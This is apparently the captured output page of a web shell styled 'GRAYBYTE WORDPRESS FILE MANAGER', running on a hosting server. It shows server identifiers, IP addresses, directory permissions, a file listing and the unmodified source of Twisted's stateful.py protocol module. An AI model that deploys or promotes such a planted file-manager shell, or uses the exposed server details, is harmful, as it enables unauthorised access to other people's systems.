✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python37/lib64/python3.7/site-packages/twisted/protocols//stateful.py
# -*- test-case-name: twisted.test.test_stateful -*-

# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


from twisted.internet import protocol

from io import BytesIO

class StatefulProtocol(protocol.Protocol):
    """A Protocol that stores state for you.

    state is a pair (function, num_bytes). When num_bytes bytes of data arrives
    from the network, function is called. It is expected to return the next
    state or None to keep same state. Initial state is returned by
    getInitialState (override it).
    """
    _sful_data = None, None, 0

    def makeConnection(self, transport):
        protocol.Protocol.makeConnection(self, transport)
        self._sful_data = self.getInitialState(), BytesIO(), 0

    def getInitialState(self):
        raise NotImplementedError

    def dataReceived(self, data):
        state, buffer, offset = self._sful_data
        buffer.seek(0, 2)
        buffer.write(data)
        blen = buffer.tell() # how many bytes total is in the buffer
        buffer.seek(offset)
        while blen - offset >= state[1]:
            d = buffer.read(state[1])
            offset += state[1]
            next = state[0](d)
            if self.transport.disconnecting: # XXX: argh stupid hack borrowed right from LineReceiver
                return # dataReceived won't be called again, so who cares about consistent state
            if next:
                state = next
        if offset != 0:
            b = buffer.read()
            buffer.seek(0)
            buffer.truncate()
            buffer.write(b)
            offset = 0
        self._sful_data = state, buffer, offset



Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.43 AM
root / linksafe
0755
__pycache__
--
25 Jul 2024 8.43 AM
root / linksafe
0755
haproxy
--
25 Jul 2024 8.43 AM
root / linksafe
0755
test
--
25 Jul 2024 8.43 AM
root / linksafe
0755
__init__.py
0.382 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
amp.py
95.683 KB
8 Mar 2020 10.44 AM
root / linksafe
0644
basic.py
31.312 KB
8 Mar 2020 10.44 AM
root / linksafe
0644
dict.py
10.51 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
finger.py
1.191 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
ftp.py
104.004 KB
18 Dec 2019 3.10 AM
root / linksafe
0644
htb.py
9.108 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
ident.py
7.599 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
loopback.py
11.648 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
memcache.py
23.138 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
pcp.py
6.922 KB
26 May 2019 5.43 AM
root / linksafe
0644
policies.py
20.827 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
portforward.py
2.327 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
postfix.py
3.86 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
sip.py
36.908 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
socks.py
7.633 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
stateful.py
1.602 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
tls.py
31.855 KB
18 Dec 2019 3.08 AM
root / linksafe
0644
wire.py
2.496 KB
18 Dec 2019 3.08 AM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF